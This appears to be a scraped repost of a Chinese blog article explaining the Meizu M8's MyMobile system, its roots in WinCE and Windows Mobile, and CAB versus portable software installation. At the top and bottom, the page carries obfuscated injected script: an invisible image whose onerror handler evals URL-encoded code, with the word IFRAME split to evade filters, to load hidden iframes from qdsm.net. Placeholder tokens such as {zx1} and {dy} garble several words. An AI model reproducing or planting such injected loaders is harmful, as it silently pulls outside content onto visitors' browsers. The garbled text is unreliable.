浅谈魅族M8的MyMobile和WM/WinCE原理- 电子银行- hyenas - 和讯博客
浅谈魅族M8的MyMobile和WM/WinCE原理 [转贴 2010-05-21 10:17:28]   
浅谈魅族M8的MyMobile和WM/WinCE原理

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

貌似目前M8的Android系统受xxxx最多,很多煤油xx将来自己能否使用新的机器人系统,原本的M8 MyMobile系统倒是很少受xx,{zx1}发布的 Windows Embedded CE 6.0 R3或许让煤油对将来的MyMobile有了更多期待。不过也看到一些用户连基本的M8的MyMobile系统也不清楚,不知道什么是WinCE,还跟Windows Mobile混淆对比新旧,这里就简单介绍一下M8的MyMobile系统,以及其与WinCE的渊源,不过对此不感兴趣的煤油可以无视此系统介绍章节看软件安装介绍了,不是谁使用M8都要搞清楚M8的系统的,有兴趣的可以看看了解一下。

WinCE与Windows Mobile

在介绍M8的MyMobile系统之前,有必要先介绍一下WinCE与Windows Mobile。

官方介绍: WindowsCE是微软公司嵌入式、移动计算平台的基础,它是一个开放的、可升级的32位嵌入式操作系统,是基于掌上型电脑类的电子设备操作系统,它是精简的Windows 95,Windows CE的图形用户界面相当出色。其中CE中的C代表袖珍(Compact)、消费(Consumer)、通信能力(Connectivit)和伴侣(Companion);E代表电子产品(Electronics)。

首先,WinCE是微软的嵌入式、移动平台的操作系统基础,在其基础上可以定制很多定制化操作系统。比如目前主流的Windows Mobile就是基于WinCE 5.0定制的,之前SP2003(Smart Phone 2003)和PPC 2003((PocketPC) 2003)则是基于WinCE 4.2定制的。其实WinCE不仅仅可以用来做手机系统,还可以用来做其他嵌入式设备的系统。WinCE可以用来做手机,掌上电脑,但是这不是WinCE{wy}的用途,很多设备都可以用到WinCE,比如数控机床,信息家电,等等。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909120.jpg" width=447 height=334>

2000年,微软专门为掌上电脑定制的包含一些特殊的API的Windows CE定制版本,命名为“PocketPC”,最早是“PocketPC2000”,之后升级为“PocketPC2002”,均为基于WindowsCE3.0的内核。PPC是基于WinCe高度定制的系统,是微软因市场需要,统一掌上电脑操作系统的规格。它在WinCE的基础上削减了一些功能,定制的专用于掌上电脑操作系统。另外,微软为了抢占智能手机(“Smart Phone”)的市场份额,通过收购的技术借鉴,开发出一套外观、风格和使用方法同PPC的系统很相似但是内核却并不相同的智能手机专用的嵌入式操作系统,叫做“MicroSoft Smart Phone”。这个系统的手机典型特点是大多不支持触摸屏的。SP(Smart Phone)则是独立于 PPC 的操作系统,它不但功能更简化,而且在内存使用上和WinCE,PPC都不一样。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909121.jpg" width=447 height=334>

2003年,微软为了方便,把它所有的用于手持式移动计算设备上的嵌入式操作系统统称为“Windows Mobile”,如“Windows Mobile 2003”。但是其中又分为PPC版和SmartPhone版,他们分别和原来的PocketPC和SmartPhone操作系统是对应的。其中PPC版本的Windows Mobile 2003是基于WindowsCE4.2内核的。2005年,微软将SmartPhone和PPC上的两套系统作了进一步的整合,发布了“Windows Mobile 2005”,划分标准版和专业版,分别对应SmartPhne和PPC版本,它们之间的差距在缩小,典型的差别就是是否支持触摸手写。目前Windows Mobile已经经历了Windows Mobile 6.0、6.1以及{zx1}的6.5的发展,Windows Mobile6.X 系列都是基于WinCE 5.0的。基于{zx1}WinCE6的Windows Mobile7也在紧张开发中,不久的将来即将与大家见面。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909122.jpg" width=447 height=333>

MyMobile

通过上面的介绍我们了解了WinCE以及Windows Mobile的关系以及区别,再回头看看魅族M8所采用的MyMobile系统。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909123.gif" width=460 height=54>

M8的MyMobile系统同样是基于微软Windows CE系统定制的,不过是基于{zx1}的WinCE6.0,由魅族定制。MyMobile最主要的就是要加入通信功能,同时定制一套更友好,具备更好用户体验的GUI。大家或许都知道,WinCE原始的GUI非常简陋,用户体验很差,而M8也通过定制的GUI实现了高分辨率显示下的绚丽界面和超酷触摸操作。M8采用基于WinCE6的基础来定制自己的操作系统,一方面可以节省一部分授权费用(使用Windows Mobile要支付一定的授权费用给微软,而WinCE的授权很少甚至没有),另外就是可以定制自己的GUI。作为一款手机操作系统,M8首先就是要加入通话功能,其中涉及联系人,接打电话等,而之前Windows Mobile一贯丑陋简陋的联系人管理已经让很多用户抱怨了,Windows Mobile平台的众多联系人管理软件的出现就可见一斑。为此在定制的通话模块中M8也人性化的加入了区号秀等功能,实现联系人分组(早期的系统)等一些列定制化。而M8炫酷的操作界面自然不用说了,配合高分大屏操作,{dy}眼便吸引了众多煤油。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909124.jpg" width=400 height=320>

另外,正是因为M8是基于WinCE定制的,而WinCE本身也不是专为手机而设计的,它是为更通用的嵌入式、移动设备设计的,由此也就导致采用WinCE系统开发的手机系统可能或多或少都存在信号问题,即使现在很成熟的Windows Mobile系统在不同的手机上也常见“信号门”事件,漏接无信号也时有发生。Radio模块也是基于WinCE的手机经常要更新的。而M8也遇到了少数信号的问题,魅族也是经过反馈,调查,新近推出了信号增强版M8 SE,基本解决了偶尔的信号不好的问题。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909125.jpg" width=447 height=334>

另外M8的Android系统也在开发,期待新系统可以给煤油带来更好的体验。

关于软件的安装

M8目前是基于WinCE6的系统,尽管基于该系统的应用程序比较少,但是随着民间团体以及一些第三方公司的支持,软件队伍正在日益壮大,各种软件的测试版本也在不断更新,很多煤油对于软件的更新安装可能不是很清楚,特别是对于使用安装版还是绿色版经常不知所措。有人说绿色版好,不需要安装,直接拷贝使用,不再使用删除即可;也有人说安装版好,方便、省心。具体哪种好呢,这里就比较一下。

首先我们来看使用在M8上的应用程序,拿一个WinCE系统上支持CAB安装包为例,下图的CAB安装包中包括常见应用程序所可能包含的项目。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909126.jpg" width=447 height=336>

在文件节点中,包含应用程序的程序文件,可能是可执行文件EXE或者是动态链接库DLL或者两者皆有,另外可能还有一些图片资源文件,以及INI等配置文件,甚至还有数据库文件。该示例中的应用程序仅包括一个EXE文件。

在注册表节点中,包括应用程序可能要写的注册表项,这一项不是所有应用程序都有,有些应用程序没有注册表项,有些不但有,而且程序运行中有些持久数据保存也依赖书册表。其实注册表应该是安装版和绿色版好坏差异的{zd0}之处(但是有些绿色版也需要手动导入注册表)。

还有一个快捷方式节点里面包含的可能要为一些主程序设置桌面快捷方式的,这里添加好就可以自动添加快捷方式,也就是安装完之后可以在桌面找到快捷图标。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909127.jpg" width=447 height=345>
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=浅谈魅族M8的MyMobile和WM/WinCE原理 src="http://www.shanzhaiji.cn/uploads/allimg/091021/0909128.jpg" width=447 height=345>

解释完应用程序项之后,我们再解释一下应用程序的部署,即将应用程序安装到手机上以供使用。这里的部署就有安装和绿色两种方式了。

所谓的安装即是像刚才那样制作安装包,WinCE系统支持CAB安装包,通过专业工具把程序文件打包,写好注册表项以及快捷方式的创建项,指定其他安装相关属性,比如默认安装路径、是否支持自定义安装路径,是否支持卸载等。然后拷贝到手机上就可以点击CAB文件根据向导提示进行安装了。这时候安装程序自动拷贝程序文件到指定目录,写注册表(如果有注册表项的话),创建快捷方式(如果有快捷方式项的话),当然在此过程中还要向系统写安装信息,通常在注册表中,以便于可以卸载(如果支持卸载的话)。到此,应用程序就安装完成可以使用了。

所谓的绿色版,也就是只有程序文件,或者还有注册表项(如果依赖于注册表项不得不写注册表的话,比如字体包一般要改写注册表),也有可能包含一个快捷方式(这个必须手动拷贝到快捷方式的文件夹)。用户需要做的就是手动拷贝文件到手机目标目录,有注册表项的话借助相关工具手动导入(不导入可能会导致程序无法运行或者运行不正常)。{zh1}拷贝快捷方式文件(没有的话,如果需要快捷方式,可以手动创建)到快捷方式目录,自此应用程序也可以使用了。

由此可以看出不管是安装版,还是绿色版,都要进行程序文件拷贝,写注册表项以及创建快捷方式(如果需要写注册表和创建快捷方式的话),只不过安装版是安装程序自动拷贝处理,而绿色版式人工拷贝处理,还有就是安装版要写一些信息以便于卸载(如果支持卸载的话)使用,届时卸载时可以到卸载程序中找到安装项删除。至此,一个安装软件要选择安装版还是绿色版大家该清楚了吧,本质上两者一样,不过操作一个自动一个人工,看自己喜欢那个了。另外对于具体的选择还有以下几点建议:

1、如果应用程序含有注表项,推荐安装版,这样写注册表自动,卸载时还可以恢复;如果是绿色版需要手动导入,如果没有备份的话之后恢复麻烦些,除非有另外的卸载时的注册表文件,不然就要手动改写了。

2、有些补丁或者设置之类,仅仅是修改注册表,此时xx可以做成安装包,而该安装包不包括任何文件和快捷键,只有注册表项。通过安装程序可以轻松些注册表,恢复时卸载就可以了。免得导入时要一份注册表文件恢复时还需要一份,不然恢复麻烦,除非自己很熟悉可以手动更改。

3、对于类似有些系统美化更改系统ShellRes.dll文件并且替换的,也建议做成安装包,安装替换后安装程序会提示自动重启确认后自动重启,另外恢复时也可以直接卸载恢复。这样避免了替换文件系统的麻烦以及恢复的麻烦。

4、对于安装包,在下载后安装之前建议自己简单查看一下,用WinCE CabManager等CAB文件管理软件打开看一下,看看有什么程序文件,是否写注册表项,以此看看是否有不正常文件或者注册表项。另外也可以看看CAB安装包是否支持卸载,是否固化安装路径不允许用户修改,用户可以设置安装包支持卸载,支持用户自定义选择安装目录。 另外用户更可以更改安装程序名称等信息,以便于在卸载程序中更友好的显示。

其实看到这里,聪明的煤油甚至可以知道怎么制作修改简单的CAB安装包了,只要利用WinCE CabManager打包相关文件,注册表项与快捷方式即可,相关属性设置一下。另外有安装包的也可以制作简单的绿色的版了(没有注册表项{zh0}),用WinCE CabManager解压安装包文件得到程序文件即可。



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【浅谈魅族M8的MyMobile和WM/WinCE原理- 电子银行- hyenas - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——